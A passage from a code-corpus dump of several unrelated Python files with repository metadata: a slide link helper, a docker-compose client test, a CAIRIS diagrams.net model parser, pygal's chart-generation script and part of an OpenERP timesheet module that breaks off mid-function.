import re,glob class Slides_Slide_Cell_Link(): def Slide_Cell_Command_Detect_Args(self,command,content): regexp='@'+command+'{' args=[] if ( re.search(regexp,content, re.IGNORECASE) ): args=re.sub(regexp,"",content, flags=re.IGNORECASE) args=re.sub('}\s*$',"",args) args=re.compile("}{").split(args) return args def Slide_Cell_Link_Insert(self,content,paths): args=self.Slide_Cell_Command_Detect_Args("Link",content) if ( len(args)>=1): filename=args[0] title=filename if ( len(args)>1 ): title=args[1] paths=[filename] if (not re.search('^http(s)?://',filename)): paths=[ "/cgi-bin/Download?File=/Slides", ]+paths+[filename] uri="/".join(paths) content=[ self.XML_Tags( "A", title, { "HREF": uri, "TARGET": "_", } ) ] return self.Center(content)

184aff4de4071ccc660cdc8749d701a4bfadfa4d

py

Python

tests/unit/cli/docker_client_test.py

paulczar/compose

02f119e4b728169a7c5ca1e5ee34a3e4adf4ca61

tests/unit/cli/docker_client_test.py

paulczar/compose

02f119e4b728169a7c5ca1e5ee34a3e4adf4ca61

2021-03-26T00:41:22.000Z

2021-03-26T00:41:22.000Z

tests/unit/cli/docker_client_test.py

paulczar/compose

02f119e4b728169a7c5ca1e5ee34a3e4adf4ca61

from __future__ import unicode_literals from __future__ import absolute_import import os import mock from tests import unittest from compose.cli import docker_client class DockerClientTestCase(unittest.TestCase): def test_docker_client_no_home(self): with mock.patch.dict(os.environ): del os.environ['HOME'] docker_client.docker_client() def test_docker_client_with_custom_timeout(self): with mock.patch.dict(os.environ): os.environ['DOCKER_CLIENT_TIMEOUT'] = timeout = "300" client = docker_client.docker_client() self.assertEqual(client.timeout, int(timeout))

56193647aa18ab4d433ae74c653e44d937a49017

py

Python

cairis/mio/DiagramsNetContentHandler.py

anonymous-author21/cairis

feccb3ecc94ec864dbc87393e21de22bea704e19

2019-08-23T02:42:29.000Z

2022-03-29T10:52:19.000Z

cairis/mio/DiagramsNetContentHandler.py

anonymous-author21/cairis

feccb3ecc94ec864dbc87393e21de22bea704e19

2019-07-29T09:49:54.000Z

2022-03-29T09:48:21.000Z

cairis/mio/DiagramsNetContentHandler.py

anonymous-author21/cairis

feccb3ecc94ec864dbc87393e21de22bea704e19

2019-10-14T12:27:42.000Z

2022-03-19T08:08:23.000Z

# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from xml.sax.handler import ContentHandler,EntityResolver from cairis.core.Borg import Borg from xml.sax.saxutils import unescape from cairis.core.ARM import ARMException import re __author__ = 'Shamal Faily' def sanitise(str): return re.sub(r'\<[^>]*\>','',str) def attrsToDict(str): g = {} for val in list(map(lambda x: x.split('='),str.rstrip(';').split(';'))): g[val[0]] = val[1] return g class DiagramsNetContentHandler(ContentHandler,EntityResolver): def __init__(self,modelType): self.theModelType = modelType self.theObjects = {} self.theAssociations = [] self.theUpdatedAssociations = [] self.theTrustBoundaries = {} self.theUpdatedTrustBoundaries = {} self.theFlows = {} self.theUpdatedFlows = [] self.resetObjectAttributes() self.resetTrustBoundaryAttributes() self.inFlow = 0 def resolveEntity(self,publicId,systemId): return systemId def resetObjectAttributes(self): self.theObjectId = 0 self.inObject = 0 def resetTrustBoundaryAttributes(self): self.theObjectId = 0 self.inTrustBoundary = 0 def objects(self): return list(self.theObjects.values()) def flows(self): return self.theUpdatedFlows def trustBoundaries(self): return list(self.theUpdatedTrustBoundaries.values()) def associations(self): return self.theUpdatedAssociations def startElement(self,name,attrs): if (name == 'object'): self.theObjectId = attrs['id'] if self.theModelType == 'dataflow': if 'type' not in attrs: if 'assets' not in attrs and self.theObjectId != '0': self.theFlows[self.theObjectId] = {'assets' : ['Unknown information']} elif 'assets' in attrs and self.theObjectId != '0': self.theFlows[self.theObjectId] = {'name' : 'Undefined flow', 'assets' : list(map(lambda v: v.strip(), attrs['assets'].split(','))) } self.inFlow = 1 else: objtType = attrs['type'].lower().strip() if objtType in ['trust_boundary','trust boundary','trustboundary']: if 'name' not in attrs: raise ARMException('Trust boundary defined without a name') self.theTrustBoundaries[self.theObjectId] = {'name' : sanitise(attrs['name'])} self.inTrustBoundary = 1 else: if 'label' not in attrs: raise ARMException('DFD object defined without a name') objtName = sanitise(attrs['label']) if objtType not in ['process','entity','datastore']: raise ARMException(objtType + ' is not a valid type for DFD object ' + objtName) self.theObjects[self.theObjectId] = {'name' : objtName, 'type' : objtType} self.inObject = 1 elif self.theModelType == 'asset': if 'label' not in attrs: raise ARMException('Object ' + self.theObjectId + " has no label.") assetName = attrs['label'].strip() assetType = 'information' if 'type' in attrs: assetType = attrs['type'].lower().strip() if (assetType not in ['hardware','information','people','software','systems']): raise ARMException(attrs['type'] + " is an invalid type for asset " + assetName + ". Valid types are Hardware, Information, People, Software, and Systems.") assetSC = 'TBD' if 'short_code' in attrs: assetSC = attrs['short_code'] assetDesc = 'To be defined' if 'description' in attrs: assetDesc = attrs['description'] assetSig = 'To be defined' if 'significance' in attrs: assetSig = attrs['significance'] secProperties = [0,0,0,0,0,0,0,0] propRationale = ['None','None','None','None','None','None','None','None'] secAttrs = ['confidentiality','integrity','availability','accountability','anonymity','pseudonymity','unlinkability','unobservability'] valueLookup = {'none' : 0, 'low' : 1, 'medium' : 2, 'high' : 3} for idx,secAttr in enumerate(secAttrs): saKey = '' if secAttr in attrs: saKey = secAttr elif secAttr not in attrs and secAttr.capitalize() in attrs: saKey = secAttr.capitalize() if saKey != '': secProp = attrs[saKey].lower().strip() if secProp not in valueLookup: raise ARMException(secProp + ' is an invalid ' + secAttr + ' value for asset ' + assetName) else: propValue = valueLookup[secProp] secProperties[idx] = propValue prKey = secAttr + '_rationale' if prKey in attrs: propRationale[idx] = attrs[prKey] else: if propValue == 0: propRationale[idx] = 'None' else: propRationale[idx] = 'To be defined' else: secProperties[idx] = 0 propRationale[idx] = 'None' if (secProperties == [0,0,0,0,0,0,0,0]): secAttrs = [0,0,1,0,0,0,0,0] propRationale = [] for secProp in secProperties: if (secProp == 0): propRationale.append('None') else: propRationale.append('To be defined') self.theObjects[self.theObjectId] = {'name' : assetName, 'short_code' : assetSC, 'type' : assetType.capitalize(), 'description' : assetDesc, 'significance' : assetSig, 'properties' : secProperties, 'rationale' : propRationale} elif (name == 'mxCell' and self.theModelType == 'dataflow' and self.inFlow): objectId = self.theObjectId if('source' in attrs and 'target' in attrs and self.inFlow): if objectId in self.theFlows: self.theFlows[objectId]['from_name'] = attrs['source'] self.theFlows[objectId]['from_type'] = '' self.theFlows[objectId]['to_name'] = attrs['target'] self.theFlows[objectId]['to_type'] = '' elif('parent' in attrs and objectId in self.theFlows and attrs['parent'] != '0'): self.theFlows[objectId]['name'] = attrs['value'] self.inFlow = 0 elif (name == 'mxCell' and self.theModelType == 'asset' and 'source' in attrs and 'target' in attrs): if ('style' not in attrs): raise ARMException('Missing style attribute in mxCell id ' + attrs['id']) d = attrsToDict(attrs['style']) headNav = 0 tailNav = 0 headType = 'Association' tailType = 'Association' if (('startArrow' not in d) and ('endArrow' not in d) and ('edgeStyle' in d) and (d['edgeStyle'] == 'orthogonalEdgeStyle')): tailNav = 1 else: if (('startArrow' not in d) or (d['startArrow'] == 'None')): headType = 'Association' elif d['startArrow'] in ['classic','open','openThin']: headType = 'Association' headNav = 1 elif d['startArrow'] in ['diamond','diamondThin']: headType = 'Aggregation' if d['startFill'] == 1: headType = 'Composition' elif d['startArrow'] == 'block': headType = 'Inheritance' if (('endArrow' not in d) or (d['endArrow'] == 'None')): tailType = 'Association' elif d['endArrow'] in ['classic','open','openThin']: tailType = 'Association' tailNav = 1 elif d['endArrow'] in ['diamond','diamondThin']: tailType = 'Aggregation' if d['endFill'] == 1: tailType = 'Composition' elif d['endArrow'] == 'block': tailType = 'Inheritance' self.theAssociations.append({'head' : attrs['source'], 'tail' : attrs['target'], 'headType' : headType, 'headNav' : headNav, 'tailType' : tailType, 'tailNav' : tailNav}) elif (name == 'mxGeometry' and self.theModelType == 'dataflow'): if (self.inObject): self.theObjects[self.theObjectId]['minX'] = float(attrs['x']) self.theObjects[self.theObjectId]['maxX'] = float(attrs['x']) + float(attrs['width']) self.theObjects[self.theObjectId]['minY'] = float(attrs['y']) self.theObjects[self.theObjectId]['maxY'] = float(attrs['y']) + float(attrs['height']) elif (self.inTrustBoundary): self.theTrustBoundaries[self.theObjectId]['minX'] = float(attrs['x']) self.theTrustBoundaries[self.theObjectId]['maxX'] = float(attrs['x']) + float(attrs['width']) self.theTrustBoundaries[self.theObjectId]['minY'] = float(attrs['y']) self.theTrustBoundaries[self.theObjectId]['maxY'] = float(attrs['y']) + float(attrs['height']) def endElement(self,name): if (name == 'object'): if (self.inObject): self.resetObjectAttributes() elif (self.inTrustBoundary): self.resetTrustBoundaryAttributes() elif (name == 'diagram'): if (self.theModelType == 'dataflow'): self.updateFlows() self.updateTrustBoundaries() elif (self.theModelType == 'asset'): self.updateAssociations() def updateFlows(self): validFlowTypes = set([('entity','process'),('process','entity'),('datastore','process'),('process','datastore'),('process','process')]) for objtKey in self.theFlows: f = self.theFlows[objtKey] dfName = f['name'] fromName = self.theObjects[f['from_name']]['name'] fromType = self.theObjects[f['from_name']]['type'] toName = self.theObjects[f['to_name']]['name'] toType = self.theObjects[f['to_name']]['type'] if ((fromType,toType) not in validFlowTypes): raise ARMException('Data flow ' + dfName + ' is invalid because ' + fromType + ' to ' + toType + ' flows are not permissible.') else: self.theUpdatedFlows.append({'name' : dfName, 'from_name' : fromName, 'from_type' : fromType, 'to_name' : toName, 'to_type' : toType, 'assets' : f['assets']}) def updateTrustBoundaries(self): for tbKey in self.theTrustBoundaries: tbMinX = self.theTrustBoundaries[tbKey]['minX'] tbMaxX = self.theTrustBoundaries[tbKey]['maxX'] tbMinY = self.theTrustBoundaries[tbKey]['minY'] tbMaxY = self.theTrustBoundaries[tbKey]['maxY'] tbName = self.theTrustBoundaries[tbKey]['name'] for objtKey in self.theObjects: objtName = self.theObjects[objtKey]['name'] minX = self.theObjects[objtKey]['minX'] maxX = self.theObjects[objtKey]['maxX'] minY = self.theObjects[objtKey]['minY'] maxY = self.theObjects[objtKey]['maxY'] if (tbMinX <= minX and tbMaxX >= maxX and tbMinY <= minY and tbMaxY >= maxY): if (tbKey not in self.theUpdatedTrustBoundaries): self.theUpdatedTrustBoundaries[tbKey] = {'name' : tbName, 'components' : []} compType = self.theObjects[objtKey]['type'] if (compType == 'entity'): raise ARMException("Cannot add entity " + objtName + " to trust boundary " + tbName + ". Entities are invalid trust boundary components.") else: self.theUpdatedTrustBoundaries[tbKey]['components'].append({'name' : objtName, 'type' : compType}) def updateAssociations(self): for assoc in self.theAssociations: self.theUpdatedAssociations.append({'head' : self.theObjects[assoc['head']]['name'], 'headType' : assoc['headType'], 'headNav' : assoc['headNav'], 'tail' : self.theObjects[assoc['tail']]['name'], 'tailType' : assoc['tailType'], 'tailNav' : assoc['tailNav']})

4289684cab73c355b80e91cd9e90905976279bc7

py

Python

venv/Scripts/pygal_gen.py

xiaoshir/EnergyStorageTechnologies

0298073d7bbd267919c6f08af4f24ca85168d629

venv/Scripts/pygal_gen.py

xiaoshir/EnergyStorageTechnologies

0298073d7bbd267919c6f08af4f24ca85168d629

venv/Scripts/pygal_gen.py

xiaoshir/EnergyStorageTechnologies

0298073d7bbd267919c6f08af4f24ca85168d629

#!C:\Users\Adrian Grylka\PycharmProjects\untitled\venv\Scripts\python.exe # -*- coding: utf-8 -*- # This file is part of pygal # # A python svg graph plotting library # Copyright © 2012-2016 Kozea # # This library is free software: you can redistribute it and/or modify it under # the terms of the GNU Lesser General Public License as published by the Free # Software Foundation, either version 3 of the License, or (at your option) any # later version. # # This library is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # details. # # You should have received a copy of the GNU Lesser General Public License # along with pygal. If not, see <http://www.gnu.org/licenses/>. import argparse import pygal parser = argparse.ArgumentParser( description='Generate pygal chart in command line', prog='pygal_gen') parser.add_argument('-t', '--type', dest='type', default='Line', choices=map(lambda x: x.__name__, pygal.CHARTS), help='Kind of chart to generate') parser.add_argument('-o', '--output', dest='filename', default='pygal_out.svg', help='Filename to write the svg to') parser.add_argument('-s', '--serie', dest='series', nargs='+', action='append', help='Add a serie in the form (title val1 val2...)') parser.add_argument('--version', action='version', version='pygal %s' % pygal.__version__) for key in pygal.config.CONFIG_ITEMS: opt_name = key.name val = key.value opts = {} if key.type == list: opts['type'] = key.subtype opts['nargs'] = '+' else: opts['type'] = key.type if opts['type'] == bool: del opts['type'] opts['action'] = 'store_true' if not val else 'store_false' if val: opt_name = 'no-' + opt_name if key.name == 'interpolate': opts['choices'] = list(pygal.interpolate.INTERPOLATIONS.keys()) parser.add_argument( '--%s' % opt_name, dest=key.name, default=val, **opts) config = parser.parse_args() chart = getattr(pygal, config.type)(**vars(config)) for serie in config.series: chart.add(serie[0], map(float, serie[1:])) chart.render_to_file(config.filename)

1d7e701ed14ec50ad6315a2af496f591f0a1d096

py

Python

openerp/addons/hr_timesheet_sheet/hr_timesheet_sheet.py

ntiufalara/openerp7

903800da0644ec0dd9c1dcd34205541f84d45fe4

2016-01-29T14:39:49.000Z

2018-12-29T22:42:00.000Z

openerp/addons/hr_timesheet_sheet/hr_timesheet_sheet.py

ntiufalara/openerp7

903800da0644ec0dd9c1dcd34205541f84d45fe4

2016-03-23T14:29:41.000Z

2017-02-20T17:11:30.000Z

openerp/addons/hr_timesheet_sheet/hr_timesheet_sheet.py

ntiufalara/openerp7

903800da0644ec0dd9c1dcd34205541f84d45fe4

# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import time from datetime import datetime from dateutil.relativedelta import relativedelta from pytz import timezone import pytz from openerp.osv import fields, osv from openerp.tools import DEFAULT_SERVER_DATE_FORMAT, DEFAULT_SERVER_DATETIME_FORMAT from openerp.tools.translate import _ from openerp import netsvc class hr_timesheet_sheet(osv.osv): _name = "hr_timesheet_sheet.sheet" _inherit = "mail.thread" _table = 'hr_timesheet_sheet_sheet' _order = "id desc" _description="Timesheet" def _total(self, cr, uid, ids, name, args, context=None): """ Compute the attendances, analytic lines timesheets and differences between them for all the days of a timesheet and the current day """ res = {} for sheet in self.browse(cr, uid, ids, context=context or {}): res.setdefault(sheet.id, { 'total_attendance': 0.0, 'total_timesheet': 0.0, 'total_difference': 0.0, }) for period in sheet.period_ids: res[sheet.id]['total_attendance'] += period.total_attendance res[sheet.id]['total_timesheet'] += period.total_timesheet res[sheet.id]['total_difference'] += period.total_attendance - period.total_timesheet return res def check_employee_attendance_state(self, cr, uid, sheet_id, context=None): ids_signin = self.pool.get('hr.attendance').search(cr,uid,[('sheet_id', '=', sheet_id),('action','=','sign_in')]) ids_signout = self.pool.get('hr.attendance').search(cr,uid,[('sheet_id', '=', sheet_id),('action','=','sign_out')]) if len(ids_signin) != len(ids_signout): raise osv.except_osv(('Warning!'),_('The timesheet cannot be validated as it does not contain an equal number of sign ins and sign outs.')) return True def copy(self, cr, uid, ids, *args, **argv): raise osv.except_osv(_('Error!'), _('You cannot duplicate a timesheet.')) def create(self, cr, uid, vals, context=None): if 'employee_id' in vals: if not self.pool.get('hr.employee').browse(cr, uid, vals['employee_id'], context=context).user_id: raise osv.except_osv(_('Error!'), _('In order to create a timesheet for this employee, you must assign it to a user.')) if not self.pool.get('hr.employee').browse(cr, uid, vals['employee_id'], context=context).product_id: raise osv.except_osv(_('Error!'), _('In order to create a timesheet for this employee, you must link the employee to a product, like \'Consultant\'.')) if not self.pool.get('hr.employee').browse(cr, uid, vals['employee_id'], context=context).journal_id: raise osv.except_osv(_('Configuration Error!'), _('In order to create a timesheet for this employee, you must assign an analytic journal to the employee, like \'Timesheet Journal\'.')) if vals.get('attendances_ids'): # If attendances, we sort them by date asc before writing them, to satisfy the alternance constraint vals['attendances_ids'] = self.sort_attendances(cr, uid, vals['attendances_ids'], context=context) return super(hr_timesheet_sheet, self).create(cr, uid, vals, context=context) def write(self, cr, uid, ids, vals, context=None): if 'employee_id' in vals: new_user_id = self.pool.get('hr.employee').browse(cr, uid, vals['employee_id'], context=context).user_id.id or False if not new_user_id: raise osv.except_osv(_('Error!'), _('In order to create a timesheet for this employee, you must assign it to a user.')) if not self._sheet_date(cr, uid, ids, forced_user_id=new_user_id, context=context): raise osv.except_osv(_('Error!'), _('You cannot have 2 timesheets that overlap!\nYou should use the menu \'My Timesheet\' to avoid this problem.')) if not self.pool.get('hr.employee').browse(cr, uid, vals['employee_id'], context=context).product_id: raise osv.except_osv(_('Error!'), _('In order to create a timesheet for this employee, you must link the employee to a product.')) if not self.pool.get('hr.employee').browse(cr, uid, vals['employee_id'], context=context).journal_id: raise osv.except_osv(_('Configuration Error!'), _('In order to create a timesheet for this employee, you must assign an analytic journal to the employee, like \'Timesheet Journal\'.')) if vals.get('attendances_ids'): # If attendances, we sort them by date asc before writing them, to satisfy the alternance constraint # In addition to the date order, deleting attendances are done before inserting attendances vals['attendances_ids'] = self.sort_attendances(cr, uid, vals['attendances_ids'], context=context) res = super(hr_timesheet_sheet, self).write(cr, uid, ids, vals, context=context) if vals.get('attendances_ids'): for timesheet in self.browse(cr, uid, ids): if not self.pool['hr.attendance']._altern_si_so(cr, uid, [att.id for att in timesheet.attendances_ids]): raise osv.except_osv(_('Warning !'), _('Error ! Sign in (resp. Sign out) must follow Sign out (resp. Sign in)')) return res def sort_attendances(self, cr, uid, attendance_tuples, context=None): date_attendances = [] for att_tuple in attendance_tuples: if att_tuple[0] in [0,1,4]: if att_tuple[0] in [0,1]: name = att_tuple[2]['name'] else: name = self.pool['hr.attendance'].browse(cr, uid, att_tuple[1]).name date_attendances.append((1, name, att_tuple)) elif att_tuple[0] in [2,3]: date_attendances.append((0, self.pool['hr.attendance'].browse(cr, uid, att_tuple[1]).name, att_tuple)) else: date_attendances.append((0, False, att_tuple)) date_attendances.sort() return [att[2] for att in date_attendances] def button_confirm(self, cr, uid, ids, context=None): for sheet in self.browse(cr, uid, ids, context=context): if sheet.employee_id and sheet.employee_id.parent_id and sheet.employee_id.parent_id.user_id: self.message_subscribe_users(cr, uid, [sheet.id], user_ids=[sheet.employee_id.parent_id.user_id.id], context=context) self.check_employee_attendance_state(cr, uid, sheet.id, context=context) di = sheet.user_id.company_id.timesheet_max_difference if (abs(sheet.total_difference) < di) or not di: wf_service = netsvc.LocalService("workflow") wf_service.trg_validate(uid, 'hr_timesheet_sheet.sheet', sheet.id, 'confirm', cr) else: raise osv.except_osv(_('Warning!'), _('Please verify that the total difference of the sheet is lower than %.2f.') %(di,)) return True def attendance_action_change(self, cr, uid, ids, context=None): hr_employee = self.pool.get('hr.employee') employee_ids = [] for sheet in self.browse(cr, uid, ids, context=context): if sheet.employee_id.id not in employee_ids: employee_ids.append(sheet.employee_id.id) return hr_employee.attendance_action_change(cr, uid, employee_ids, context=context) _columns = { 'name': fields.char('Note', size=64, select=1, states={'confirm':[('readonly', True)], 'done':[('readonly', True)]}), 'employee_id': fields.many2one('hr.employee', 'Employee', required=True), 'user_id': fields.related('employee_id', 'user_id', type="many2one", relation="res.users", store=True, string="User", required=False, readonly=True),#fields.many2one('res.users', 'User', required=True, select=1, states={'confirm':[('readonly', True)], 'done':[('readonly', True)]}), 'date_from': fields.date('Date from', required=True, select=1, readonly=True, states={'new':[('readonly', False)]}), 'date_to': fields.date('Date to', required=True, select=1, readonly=True, states={'new':[('readonly', False)]}), 'timesheet_ids' : fields.one2many('hr.analytic.timesheet', 'sheet_id', 'Timesheet lines', readonly=True, states={ 'draft': [('readonly', False)], 'new': [('readonly', False)]} ), 'attendances_ids' : fields.one2many('hr.attendance', 'sheet_id', 'Attendances'), 'state' : fields.selection([ ('new', 'New'), ('draft','Open'), ('confirm','Waiting Approval'), ('done','Approved')], 'Status', select=True, required=True, readonly=True, help=' * The \'Draft\' status is used when a user is encoding a new and unconfirmed timesheet. \ \n* The \'Confirmed\' status is used for to confirm the timesheet by user. \ \n* The \'Done\' status is used when users timesheet is accepted by his/her senior.'), 'state_attendance' : fields.related('employee_id', 'state', type='selection', selection=[('absent', 'Absent'), ('present', 'Present')], string='Current Status', readonly=True), 'total_attendance': fields.function(_total, method=True, string='Total Attendance', multi="_total"), 'total_timesheet': fields.function(_total, method=True, string='Total Timesheet', multi="_total"), 'total_difference': fields.function(_total, method=True, string='Difference', multi="_total"), 'period_ids': fields.one2many('hr_timesheet_sheet.sheet.day', 'sheet_id', 'Period', readonly=True), 'account_ids': fields.one2many('hr_timesheet_sheet.sheet.account', 'sheet_id', 'Analytic accounts', readonly=True), 'company_id': fields.many2one('res.company', 'Company'), 'department_id':fields.many2one('hr.department','Department'), } def _default_date_from(self, cr, uid, context=None): user = self.pool.get('res.users').browse(cr, uid, uid, context=context) r = user.company_id and user.company_id.timesheet_range or 'month' if r=='month': return time.strftime('%Y-%m-01') elif r=='week': return (datetime.today() + relativedelta(weekday=0, days=-6)).strftime('%Y-%m-%d') elif r=='year': return time.strftime('%Y-01-01') return time.strftime('%Y-%m-%d') def _default_date_to(self, cr, uid, context=None): user = self.pool.get('res.users').browse(cr, uid, uid, context=context) r = user.company_id and user.company_id.timesheet_range or 'month' if r=='month': return (datetime.today() + relativedelta(months=+1,day=1,days=-1)).strftime('%Y-%m-%d') elif r=='week': return (datetime.today() + relativedelta(weekday=6)).strftime('%Y-%m-%d') elif r=='year': return time.strftime('%Y-12-31') return time.strftime('%Y-%m-%d') def _default_employee(self, cr, uid, context=None): emp_ids = self.pool.get('hr.employee').search(cr, uid, [('user_id','=',uid)], context=context) return emp_ids and emp_ids[0] or False _defaults = { 'date_from' : _default_date_from, 'date_to' : _default_date_to, 'state': 'new', 'employee_id': _default_employee, 'company_id': lambda self, cr, uid, c: self.pool.get('res.company')._company_default_get(cr, uid, 'hr_timesheet_sheet.sheet', context=c) } def _sheet_date(self, cr, uid, ids, forced_user_id=False, context=None): for sheet in self.browse(cr, uid, ids, context=context): new_user_id = forced_user_id or sheet.user_id and sheet.user_id.id if new_user_id: cr.execute('SELECT id \ FROM hr_timesheet_sheet_sheet \ WHERE (date_from <= %s and %s <= date_to) \ AND user_id=%s \ AND id <> %s',(sheet.date_to, sheet.date_from, new_user_id, sheet.id)) if cr.fetchall(): return False return True _constraints = [ (_sheet_date, 'You cannot have 2 timesheets that overlap!\nPlease use the menu \'My Current Timesheet\' to avoid this problem.', ['date_from','date_to']), ] def action_set_to_draft(self, cr, uid, ids, *args): self.write(cr, uid, ids, {'state': 'draft'}) wf_service = netsvc.LocalService('workflow') for id in ids: wf_service.trg_create(uid, self._name, id, cr) return True def name_get(self, cr, uid, ids, context=None): if not ids: return [] if isinstance(ids, (long, int)): ids = [ids] return [(r['id'], _('Week ')+datetime.strptime(r['date_from'], '%Y-%m-%d').strftime('%U')) \ for r in self.read(cr, uid, ids, ['date_from'], context=context, load='_classic_write')] def unlink(self, cr, uid, ids, context=None): sheets = self.read(cr, uid, ids, ['state','total_attendance'], context=context) for sheet in sheets: if sheet['state'] in ('confirm', 'done'): raise osv.except_osv(_('Invalid Action!'), _('You cannot delete a timesheet which is already confirmed.')) elif sheet['total_attendance'] <> 0.00: raise osv.except_osv(_('Invalid Action!'), _('You cannot delete a timesheet which have attendance entries.')) return super(hr_timesheet_sheet, self).unlink(cr, uid, ids, context=context) def onchange_employee_id(self, cr, uid, ids, employee_id, context=None): department_id = False user_id = False if employee_id: empl_id = self.pool.get('hr.employee').browse(cr, uid, employee_id, context=context) department_id = empl_id.department_id.id user_id = empl_id.user_id.id return {'value': {'department_id': department_id, 'user_id': user_id,}} # ------------------------------------------------ # OpenChatter methods and notifications # ------------------------------------------------ def _needaction_domain_get(self, cr, uid, context=None): emp_obj = self.pool.get('hr.employee') empids = emp_obj.search(cr, uid, [('parent_id.user_id', '=', uid)], context=context) if not empids: return False dom = ['&', ('state', '=', 'confirm'), ('employee_id', 'in', empids)] return dom class account_analytic_line(osv.osv): _inherit = "account.analytic.line" def _get_default_date(self, cr, uid, context=None): if context is None: context = {} #get the default date (should be: today) res = super(account_analytic_line, self)._get_default_date(cr, uid, context=context) #if we got the dates from and to from the timesheet and if the default date is in between, we use the default #but if the default isn't included in those dates, we use the date start of the timesheet as default if context.get('timesheet_date_from') and context.get('timesheet_date_to'): if context['timesheet_date_from'] <= res <= context['timesheet_date_to']: return res return context.get('timesheet_date_from') #if we don't get the dates from the timesheet, we return the default value from super() return res class hr_timesheet_line(osv.osv): _inherit = "hr.analytic.timesheet" def _sheet(self, cursor, user, ids, name, args, context=None): sheet_obj = self.pool.get('hr_timesheet_sheet.sheet') res = {}.fromkeys(ids, False) for ts_line in self.browse(cursor, user, ids, context=context): sheet_ids = sheet_obj.search(cursor, user, [('date_to', '>=', ts_line.date), ('date_from', '<=', ts_line.date), ('employee_id.user_id', '=', ts_line.user_id.id)], context=context) if sheet_ids: # [0] because only one sheet possible for an employee between 2 dates res[ts_line.id] = sheet_obj.name_get(cursor, user, sheet_ids, context=context)[0] return res def _get_hr_timesheet_sheet(self, cr, uid, ids, context=None): ts_line_ids = [] for ts in self.browse(cr, uid, ids, context=context): cr.execute(""" SELECT l.id FROM hr_analytic_timesheet l INNER JOIN account_analytic_line al ON (l.line_id = al.id) WHERE %(date_to)s >= al.date AND %(date_from)s <= al.date AND %(user_id)s = al.user_id GROUP BY l.id""", {'date_from': ts.date_from, 'date_to': ts.date_to, 'user_id': ts.employee_id.user_id.id,}) ts_line_ids.extend([row[0] for row in cr.fetchall()]) return ts_line_ids def _get_account_analytic_line(self, cr, uid, ids, context=None): ts_line_ids = self.pool.get('hr.analytic.timesheet').search(cr, uid, [('line_id', 'in', ids)]) return ts_line_ids _columns = { 'sheet_id': fields.function(_sheet, string='Sheet', select="1", type='many2one', relation='hr_timesheet_sheet.sheet', ondelete="cascade", store={ 'hr_timesheet_sheet.sheet': (_get_hr_timesheet_sheet, ['employee_id', 'date_from', 'date_to'], 10), 'account.analytic.line': (_get_account_analytic_line, ['user_id', 'date'], 10), 'hr.analytic.timesheet': (lambda self,cr,uid,ids,context=None: ids, None, 10), }, ), } def _check_sheet_state(self, cr, uid, ids, context=None): if context is None: context = {} for timesheet_line in self.browse(cr, uid, ids, context=context): if timesheet_line.sheet_id and timesheet_line.sheet_id.state not in ('draft', 'new'): return False return True _constraints = [ (_check_sheet_state, 'You cannot modify an entry in a Confirmed/Done timesheet !', ['state']), ] def unlink(self, cr, uid, ids, *args, **kwargs): if isinstance(ids, (int, long)): ids = [ids] self._check(cr, uid, ids) return super(hr_timesheet_line,self).unlink(cr, uid, ids,*args, **kwargs) def _check(self, cr, uid, ids): for att in self.browse(cr, uid, ids): if att.sheet_id and att.sheet_id.state not in ('draft', 'new'): raise osv.except_osv(_('Error!'), _('You cannot modify an entry in a confirmed timesheet.')) return True def multi_on_change_account_id(self, cr, uid, ids, account_ids, context=None): return dict([(el, self.on_change_account_id(cr, uid, ids, el, context.get('user_id', uid))) for el in account_ids]) hr_timesheet_line() class hr_attendance(osv.osv): _inherit = "hr.attendance" def _get_default_date(self, cr, uid, context=None): if context is None: context = {} if 'name' in context: return context['name'] + time.strftime(' %H:%M:%S') return time.strftime('%Y-%m-%d %H:%M:%S') def _get_hr_timesheet_sheet(self, cr, uid, ids, context=None): attendance_ids = [] for ts in self.browse(cr, uid, ids, context=context): cr.execute(""" SELECT a.id FROM hr_attendance a INNER JOIN hr_employee e INNER JOIN resource_resource r ON (e.resource_id = r.id) ON (a.employee_id = e.id) WHERE %(date_to)s >= date_trunc('day', a.name) AND %(date_from)s <= a.name AND %(user_id)s = r.user_id GROUP BY a.id""", {'date_from': ts.date_from, 'date_to': ts.date_to, 'user_id': ts.employee_id.user_id.id,}) attendance_ids.extend([row[0] for row in cr.fetchall()]) return attendance_ids def _get_attendance_employee_tz(self, cr, uid, employee_id, date, context=None): """ Simulate timesheet in employee timezone Return the attendance date in string format in the employee tz converted from utc timezone as we consider date of employee timesheet is in employee timezone """ employee_obj = self.pool['hr.employee'] tz = False if employee_id: employee = employee_obj.browse(cr, uid, employee_id, context=context) tz = employee.user_id.partner_id.tz if not date: date = time.strftime(DEFAULT_SERVER_DATETIME_FORMAT) att_tz = timezone(tz or 'utc') attendance_dt = datetime.strptime(date, DEFAULT_SERVER_DATETIME_FORMAT) att_tz_dt = pytz.utc.localize(attendance_dt) att_tz_dt = att_tz_dt.astimezone(att_tz) # We take only the date omiting the hours as we compare with timesheet # date_from which is a date format thus using hours would lead to # be out of scope of timesheet att_tz_date_str = datetime.strftime(att_tz_dt, DEFAULT_SERVER_DATE_FORMAT) return att_tz_date_str def _get_current_sheet(self, cr, uid, employee_id, date=False, context=None): sheet_obj = self.pool['hr_timesheet_sheet.sheet'] if not date: date = time.strftime(DEFAULT_SERVER_DATETIME_FORMAT) 